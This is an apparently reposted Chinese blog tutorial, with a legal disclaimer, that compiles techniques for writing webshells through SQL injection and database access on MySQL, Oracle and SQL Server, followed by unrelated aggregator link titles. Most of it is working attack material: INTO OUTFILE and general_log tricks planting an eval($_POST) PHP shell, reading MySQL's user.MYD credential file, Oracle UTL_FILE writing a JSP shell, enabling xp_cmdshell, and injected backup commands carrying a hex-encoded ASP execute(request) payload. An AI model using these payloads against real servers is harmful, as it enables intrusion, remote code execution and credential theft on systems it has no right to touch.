声明

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

我日常被毒打,下次请师傅们轻点,没玩过就玩一遍吧,目前只写了常见的3个数据库,如果后面又遇到其他的数据库在添加。

P.S.欢迎来GitHub找我玩

博客:www.ascotbe.com

MySql数据库

前提条件

  • 数据库当前用户为root权限

  • 知道当前网站的绝对路径

  • PHP的GPC为 off状态

  • 写入的那个路径存在写入权限

注意点:

secure_file_priv参数说明

这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。

  • 如果这个参数为空,这个变量没有效果

  • 如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它

  • 如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

如果遇到以下情况的话,使用SQL语句中的outfile是无法成功的,但是写入日志的方法是可以成功的

show variables like '%secure%';

开启secure_file_priv

修改my.ini文件后需要重启MySql

secure_file_priv为NULL禁止导出文件secure_file_priv=""secure_file_priv指定地址限制导出地址只能在此secure_file_priv=“D:/”secure_file_priv为空可以导出到任意文件secure_file_priv=

查看是否有写入权限

select group_concat(user,0x3a,file_priv) from mysql.user;出现Y,这就代表你有文件权限,N就是没有

一、基于联合查询

注入点位置如下,后面使用的话会省略这段值

http://127.0.0.1/test/Less-2/?id=1

利用outfile方法

UNION ALL SELECT 1,2," phpinfo(); ?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --

可以发现写入成功了,值得注意的是我们写入的是在test目录和123.txt中间没有用双斜杠,这样写入的文件会被过滤了,直接写到了WWW目录而不是test目录里面

利用dumpfile方法,这种方法可以写入16进制数据

UNION ALL SELECT 1,2," phpinfo(); ?>" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --

写入普通数据

把PHP内容写成16进制编码数据在写入

二、基于非联合查询

into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123.txt" fields terminated by " phpinfo(); ?>" %23 --

三、基于log日志写shell法

先看看当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,记下来后面需要改回来的

show variables like '%general%';

然后开启日志

set global general_log = on;

设置日志写入位置

set global general_log_file = 'C:/2.txt';

写入日志

select '<?php  eval($_POST['ascotbe']);?>';

修改为原来的路径

set global general_log_file='c:/xxxxx/xxxx'

关闭日志记录

set global general_log = off;

四、基于创建再导出的方法

连接test数据库

use test;

搜索并删除存在的ascotbe这个表

drop table if exists ascotbe;

创建这个表,在里边加个字段xxx

create table ascotbe(xxx text not null);

在里面写入一句话

insert into ascotbe(xxx) values ('<?php phpinfo(); ?>');

然后把这句话导出来

SELECT xxx FROM ascotbe INTO OUTFILE 'D:/2.txt';

然后删除表

DROP TABLE ascotbe;

五、低权限利用

如果你发现一个注入点,但是这个注入点只是一个普通权限没法写 shell

利用条件:

  • 知道一个数据库用户账密

  • 能进入到 phpmyadmin 下

  • 一些默认文件路径位置没有更改

首先查看日志是否开启,然后看看日志文件路径根据这个路径推算出默认的user.MYD路径。一般默认的位置都是在 Mysql\data\mysql\user.MYD 这个路径下

show variables like '%general%';

然后把密码的文件导入到表里面,这边插入的表为ascotbe,这边有个点需要注意下导入文件的位置需要用\可能会报错,需要替换成/

LOAD DATA LOCAL INFILE 'C:/phpStudy/PHPTutorial/MySQL/data/mysql/user.MYD' INTO TABLE ascotbe FIELDS TERMINATED BY '';

可以看到导入成功

Oracle数据库

首先是搭建环境,这边选着docker搭建,搭建好直接用navicat连接

这边测试使用的是DBA权限中的system账户

一、利用文件访问包写shell

首先创建我们得先建立一个ORACLE的目录对象指向XXXX,这边测试指向的路径为/home/oracle

create or replace directory IST0_DIR as '/home/oracle';

我们查看docker的路径,以及路径下的内容

如果后面写入失败了可以执行这条命令对这个目录进行授权下

grant read, write on directory IST0_DIR to system;

然后写入文件

declare   isto_file utl_file.file_type; --定义变量的类型为utl_file.file_typebegin   isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作   utl_file.put_line(isto_file, '这是一个一句话webshell'); --写入字符串   utl_file.fflush(isto_file); --刷缓冲   utl_file.fclose(isto_file); --关闭文件指针end;

执行成功

可以发现写入了shell

如果是真实环境的话我们并不能连接服务器,这样我们怎么知道shell是否写入成功呢?

declare   isto_file utl_file.file_type; --如上   fp_buffer varchar2(4000); --没必要说了吧?begin   isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'R'); -- 指定为读操作   utl_file.get_line (isto_file , fp_buffer ); --读取一行放到  fp_buffer 变量里面   dbms_output.put_line(fp_buffer);--在终端输出结果看看   utl_file.fclose(isto_file); --关闭文件指针end;

执行即可读取我们写入的文件内容了

SqlServer数据库

首先搭建环境,当前使用的环境是SQL Server 2019,具体的搭建自行百度

拿shell的两大前提

  1. 有相应的权限db_owner

  2. 知道web目录的绝对路径

测试的时候默认使用sa进行连接

一、寻找绝对路径

  • 报错信息

  • 字典猜

  • 旁站的目录

  • 存储过程来搜索

  • 读配置文件

前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshellxp_dirtree

二、利用xp_dirtree方法来寻找

先来看xp_dirtree直接举例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录execute master..xp_dirtree 'c:',1 --只列c:\目录execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

列出所有的C盘文件、目录、子目录

只列出目录

列出文件和目录

注意

这边使用xp_dirtree举例所列出的文件都是基于当前盘符当前目录的,不包括目录里面的文件,比如我们查看D盘内容

可以看到只有两个文件,可以论证之前说的

真实环境下的操作

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

然后查询下表发现成功写入

三、利用xp_cmdshell方法来寻找

SQL Server 阻止了对组件 xp_cmdshell的过程sys.xp_cmdshell的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。

如果遇到xp_cmdshell不能调用解决方法,这样我们就只能能执行CMD命令了,开启方面需要连接数据库才行。PS:如果都开启这种方法就不用写shell了直接执行CMD下载木马即可

;EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;  //打开xp_cmdshell扩展RECONFIGURE;--

接下来我们先来看cmd中怎么查找文件,该条命令如果用powershell会报错

for /r d:\ %i in (2*.php) do @echo %i

需要建立一个表 存在一个char字段就可以了

http://xx.xx.xx.xx/test.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));http://xx.xx.xx.xx/test.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r d:\ %i in (2*.php) do @echo %i'

成功查询出结果

写入Webshell

一、利用xp_cmdshell命令写shell

上面说了xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径,如果不存在路径会报错。

http://xx.xx.xx.xx/test.aspx?id=1;exec master..xp_cmdshell 'echo ^"Jscript"%^>^"pass"],

写入成功

二、差异备份写shell

因为权限的问题,最好不要备份到盘符根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。

http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk = 'D:\bak.bak';--http://xx.xx.xx.xx/test.aspx?id=1;create table [dbo].[test] ([cmd] [image]);http://xx.xx.xx.xx/test.aspx?id=1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk='D:\ascotbe.asp' WITH DIFFERENTIAL,FORMAT;--

这里测试只能进行备份,执行最后一句差异备份会报错,所以可以直接进行备份写shell,虽然文件会很大

可以看到shell是写进去了,就是文件有点大

三、log备份写shell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

//以下步骤省略http://xx.xx.xx.xx/test.aspx?id=1alter database 库名 set RECOVERY FULL;create table cmd (a image) ;backup log 库名 to disk = 'D:\test' with init ;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) ;backup log 库名 to disk = 'D:\test\2.asp';

参考文章

https://www.cnblogs.com/springside-example/archive/2007/09/06/2529958.htmlhttps://blog.csdn.net/zyq357/article/details/104698157https://blog.csdn.net/junmail/article/details/4381287https://www.cnblogs.com/xuliangxing/p/6005154.htmlhttps://y4er.com/post/mssql-getshell/

c++ 写入文件_常见数据库写入Webshell汇总相关推荐

  1. c++ 写入文件_术业有专攻:逗号分割文件csv

    本文约2700字,建议阅读时间13~18分钟 关键字:python,逗号分隔文件,字符分割,csv 逗号分隔文件是电子表格和数据库的常用输入与输出格式. 1.相关函数 (1)csv格式数据读取 rea ...

  2. python把异常写入文件_使用Python将Exception异常错误堆栈信息写入日志文件代码

    本篇文章小编给大家分享一下使用Python将Exception异常错误堆栈信息写入日志文件代码及补充知识,对大家的学习有一定的帮助,小编觉得挺不错的,现在分享给大家供大家参考,有需要的小伙伴们可以来看 ...

  3. mac命令行将输出写入文件_如何在Linux中使用命令行将PDF文件转换为可编辑文本...

    mac命令行将输出写入文件 There are various reasons why you might want to convert a PDF file to editable text. M ...

  4. vbscript 写入文件_使用VBScript静默删除空文件夹

    vbscript 写入文件 I decided to write this article after I saw an interesting question here on Experts Ex ...

  5. java多线程流式写入文件夹_java多线程写入同一文件

    1.[代码][Java]代码 package com.thread; import java.io.File; import java.io.FileNotFoundException; import ...

  6. java filewriter写入文件_Java中的写入字符文件类FileWriter

    上一章中我们介绍字符读取文件的类FileReader,这一章我们介绍 FileWriter主要是以字符的方式写入文件中的类. import java.io.File; import java.io.F ...

  7. python写入文件没反应_python写入文本 如何用python将变量及其值写入文本文件?...

    如何用python将变量及其值写入文本文件?直到今天,你依然是小编拒绝别人的原因,其实小编也没有在等你,小编就是无法喜欢上别人而已. python中中的字典怎么写入文本文件? {('dsaa', 'd ...

  8. python读取写入文件_Python读取和写入文件

    1 从文件中读取数据 1.1 读取整个文件 创建名为test的txt文本文件,添加内容如下所示: 1234567890 2345678901 3456789012 实现代码: with open('t ...

  9. mysql 字段存文件_使用数据库(mysql)字段保存文件

    数据库:mysql + mybatis 文件:本项目保存的是excel文件,其他文件应该也是适用的 最近由于项目原因,需将文件保存到数据库中,最先开始设计新增一个类型为blob的字段,结果保存没有问题 ...

最新文章

  1. 基于chyh1990/caffe-compact在windows vs2013上编译caffe步骤
  2. Mybatis+Spring SqlSessionTemplate注入学习--1
  3. 手把手教渗透测试人员打造.NET可执行文件
  4. kie-api_KIE-WB / JBPM控制台Ng –配置
  5. 微信小程序 页面如何自动滚动到底部
  6. 如何理解 scanf(%*s,str)?
  7. python中match用法_python re.match()用法相关示例
  8. 3月9日 英语笔记-英标
  9. stm32cubeIDE下载无法打开GDB的问题
  10. 【SSM】企业差旅管理系统-李兴华-专题视频课程
  11. 外包软件开发时要避免的五个陷阱
  12. 计算机科学自考本科的科目,自考本科计算机专业考哪些
  13. Android开发:引入重复包报错Error:Execution failed for task ':app:transformDexArchiveWithExternalLibsDe...’解决方法
  14. 仙剑3外传(问情篇)Win7(32/64位)不能运行的完全解决办法【转载】
  15. 如何在第三方平台或系统中引入外源邮箱:126邮箱、QQ邮箱
  16. 01-Java中的集合
  17. js绘制菱形(空心和实心)
  18. Java四大引用(强、软、弱、虚)
  19. 985复旦大学,软件工程学硕停止招生!
  20. 前后端部署在两台服务器 服务器配置要求_漫谈前后端分离

热门文章

  1. EFR32xG21烧录指南
  2. 贝尔商道赚钱思维36道第01道:天地无所谓仁与不仁
  3. 如何实现JAVA游戏存档_保存游戏数据 – Java
  4. 阿里菜鸟回答2018:智能物流骨干网里的4张技术面孔
  5. 大一计算机专业考什么证书,计算机专业大一的学生能考什么证书?
  6. AD导入PCB后模型出现绿色叉叉报错的解决办法
  7. Ubuntu18.04便签工具xpad安装
  8. WSL2跟踪 - 18945: 通过localhost直接访问 WSL2 容器中的服务
  9. DOTS支持的shader
  10. python爬取并下载代码_python 爬取并批量下载网易云歌单源代码